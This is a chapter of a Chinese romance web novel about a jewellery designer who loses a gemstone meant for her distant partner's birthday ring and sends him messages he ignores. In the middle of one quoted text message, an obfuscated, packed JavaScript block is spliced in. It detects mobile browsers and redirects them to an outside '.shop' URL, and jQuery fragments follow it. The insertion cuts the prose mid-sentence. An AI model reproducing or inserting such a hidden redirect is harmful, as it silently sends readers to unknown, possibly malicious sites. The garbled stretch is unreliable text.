《别时落雪》
by:九旬抠脚老太
2026.7.29
·
“你说什么?!”
一道年轻的女声在工作室内回荡,她语气愤怒道:“上个月就定好的货,现在你这边和我说有人截胡,你提前卖出去了?”
这道愤愤不平的声音引得阮清厌抬眸,她侧首看向正在打电话的陶晓枝。
陶晓枝抓着手机的手指捏紧了些,电话那头的人似乎是又说了些什么,她更加怒火中烧:“我这边机票都已经买好了,明天就能落地香港,你要提前出货,行,没问题,但临近当头才给通知未免太过份了些!”
“什么叫做价高者得!?你这商家一点诚信都没有,我们也不会再和你们进行二次合作!”
说罢,陶晓枝挂断电话,把手机猛地扣在桌面上,气得喘息幅度都大了些。
阮清厌适时开了口,她嗓音温软随和,道:“发生什么了?”
陶晓枝喘息两秒,这才扭头看向阮清厌。
她那张年轻又有冲劲的脸上浮现几分愧疚,她低着头道:“清厌姐,对不起。”
“怎么了?”阮清厌有些疑惑。
陶晓枝是前不久才来工作室实习的大学生,今年也才二十岁,她虽年轻,做事风火,业务能力却很强,很少会露出这种做错事的表情。
“您让我订购的那枚坦桑石…被人截胡了。原本我和商家那边定好时间,明天我就去香港取货,但是他刚刚打电话告知我,那颗石头被人提前买走了……”
阮清厌闻言面上神色微动,眸中浮现几分怔愣。
“对方说,我们只是口头订购,没有签任何协议与合同,他的石头自然是价高者得,所以就卖出去了……偏偏是今天,就差一天……”
陶晓枝的话语带上几分小心翼翼,她谨慎地看着眼前的阮清厌。
眼前的阮清厌坐在办公桌处,她发丝垂落在肩背,一双浅褐色的眼眸润如水,左眼下稳稳当当坠了一颗小痣。
她身上穿着普通的工作服,肩背那块儿却稍显单薄,总让人觉得消瘦了些。
陶晓枝每每看向阮清厌时,都觉得这个只比她大三岁的顶头上司,气场淡淡的像溪水。
就浅淡、透明、却又润得清明。
阮清厌的性格也的确如陶晓枝印象中的那样,平日里连说话都没有大声过,遇到事情从来都是能避则避。
说好听些是聪明,不费心神起争端,说难听些,就是性子太软太懦弱。
像这种决定订购货物的商家提前反悔的情况,以往也不是没有出现过。
阮清厌对此从来也不多说什么,只会软着声平静道“再换一家就好”。
但这次陶晓枝之所以这么紧张,是因为这次的这颗坦桑石有些不同。
这次的坦桑石,是对阮清厌而言非常重要的石头。
在订货的时候,阮清厌反复开口提醒了陶晓枝三次,这颗石头最好保得万全,别出差错。
这对于性子淡又软的阮清厌而言,是很难得的叮嘱,陶晓枝也一直上着心,就怕这颗石头到手前出什么问题。她原计划是下个月去拿货的,为了以防万一,还专门提前了一个月。
没想到就这样都没防住。
陶晓枝只好又轻轻看向阮清厌。
阮清厌的面色很淡,她先前听到这个消息的时候的确怔愣了一下,但那时也只是眸光微动,如今则是轻轻点了头,淡声道:“嗯,知道了。”
依旧是那样软着嗓子,声音如潭水般润润的,平静,没有波澜。
就好像,虽然说是自己在意的东西,但是被人夺了去也没关系。
陶晓枝看着她的神色,总归心头不是滋味,没忍住道:“可是清厌姐,那不是您很想要的石头吗?您真就这样认了那边拱手让人的行为吗……”
阮清厌闻言却眼眸轻弯,她淡笑道:“没办法嘛。没了就是没了,人家已经卖了,我们再去吵闹,也做不得数。下次不和他家合作就好。”
陶晓枝的唇微动,似乎还想再说什么,但看见阮清厌不急不躁的模样后,又泄了气,最后道:“好吧…清厌姐。你放心,我一定要告知广大同行,避雷这个合作方!”
阮清厌莞尔一笑,没多言。
其实陶晓枝没想错,阮清厌的确很在意这颗坦桑石。
原因无他,因为这颗石头,是她精挑细选后,打算送给卫昀琛的生日礼物。
卫昀琛的生日在11月15日,他每次过生日时,阮清厌都会亲自做一枚专属于他的生日戒指送给他,距今为止已经送了四枚。
今年自然也不例外。
阮清厌今年的戒托设计已经做好了,她花了三个月的时间决定材质、轮廓、花纹,最后造出成品,只差最后承托的那枚宝石迟迟没有定下来。
后来她刷咨询贴时,无意间看见香港商家正在出售这枚坦桑石。
这枚坦桑石颜色是晶蓝与浅紫交织,总给人一种冷冽严肃中带着一丝柔和的感觉,和卫昀琛给人的感受十分相像。
于是她便一眼选中了。
只是,现在这颗石头没有了,三个月的准备也落了空。
她心底的确有些失落。
阮清厌停下手中画图的动作,转而拿起桌面上的手机,轻车熟路地点开微信页面。
她的微信页面上,最顶端置顶了一个人,备注“W”,是卫昀琛。
她点开自己和“W”的对话框,看着聊天页面里密密麻麻的绿色,她沉默着用指尖向上滑动屏幕,很长时间才能在绿色的消息对话框内,看见夹杂着的白色对话框。
通常白色的对话框回复的消息简短、冷淡、甚至偶尔阮清厌看不明白,对方究竟回复的是自己的哪一条消息。
她给“W”发消息时,经常会觉得自己在演独角戏,明明对面是有人的,可是他不回复自己,到头来在聊天对话框的舞台里,表演的人只有自己一个。
她看着最近自己发出去的几条消息,大部分是问候:
「会议开得怎么样,还顺利吗?」
「我看天气预报说,墨尔本最近在下雨,如今是澳洲冬季,你要记得穿暖一些,小心不要冻到。」
「你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811871|210881||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这次大概什么时候回国,如果方便的话可以和我说,我可以去接你,多晚都行。」
以及偶尔压抑不住情绪时,透露出些许依赖的:
「你可以早点回来吗,我有点想你了。」
这些消息自然和先前一样,全部石沉大海,对面的人在出国后,一次都没回复过她的消息。
对于阮清厌而言,卫昀琛不回消息这件事她其实早就习惯了,因为五年来他的风格都是这样的。
虽然知道他可能不会回复,但阮清厌想了想,这次失去的宝石毕竟是要送给卫昀琛的,总归和他是有关联,还是和他说一声为好。
于是阮清厌思考过后,她又给他发了几条消息:
「昀琛,抱歉,今年给你设计的那枚戒指,选好的宝石被人提前买走了。可能还要晚点才能做出成品了。」
「本来想等你回国的那天,就把戒指送给你的,现在看来可能赶不上了,抱歉。」
「其实我知道你好像不太喜欢这些饰品,前几年给你做的生日戒指,你一次都没有戴过。只是这毕竟是我的一片心意,这次宝石被人买走,我有些不开心……」
最后一条刚发出去,阮清厌就轻愣,而后她立刻撤回消息。
这一条消息发错了,她不该说这种话的。发这种负面情绪的消息就罢了,语气甚至让人觉得她是在诉说委屈。
没必要给他发这种消息。
阮清厌很淡然地垂了一下眼睫,而后面色平静地换了个话题发过去:
「前段时间我发消息问你什么时候回国,我说我去接你,不是要打探你行程或者隐私的意思。只是为了方便赶工,给你做生日戒指,望你看见后别不开心。」
发完最后一段带着几分讨好的消息,阮清厌才把手指从屏幕键盘上移开。
这些消息卫昀琛不会回复,阮清厌心中有数,但她发完给他的消息后,偶尔会这样看着手机屏幕发呆。
她就像是有些执拗地在等,等一个明知不会来的回复。
她其实心底还是希望卫昀琛回她消息的,哪怕只是一个“嗯”,也能让她开心很久。
但现实就是,什么都没有。没有“嗯”或“哦”,甚至连敷衍她的一个“1”都没有发来。
阮清厌轻轻闭目,鼻腔中小幅度呼出一口气,再睁眼时,手指已经贴上手机侧边的按键,准备熄屏。
但就这一刹那,聊天页面顶部的“W”突然变化,变为了“对方正在输入中……”
阮清厌眸光一动,立刻停下熄屏的举动,垂目认真看着屏幕上方。
然而屏幕顶端的“对方正在输入中……”只闪烁了那一秒便转瞬即逝,速度快到像是某种错觉。
阮清厌怔愣许久,她呆呆地看着手机屏幕,就这样固执地等了十分钟,终于确定顶端的“对方正在输入中……”是某个bug,而不是卫昀琛要回她消息。
她轻叹一口气,而后终于熄了手机的屏幕。
心底泛起的那些涟漪,也很快就归位平静了。
她已经很熟练了,让自己起伏的情绪迅速收回到壳子里这件事。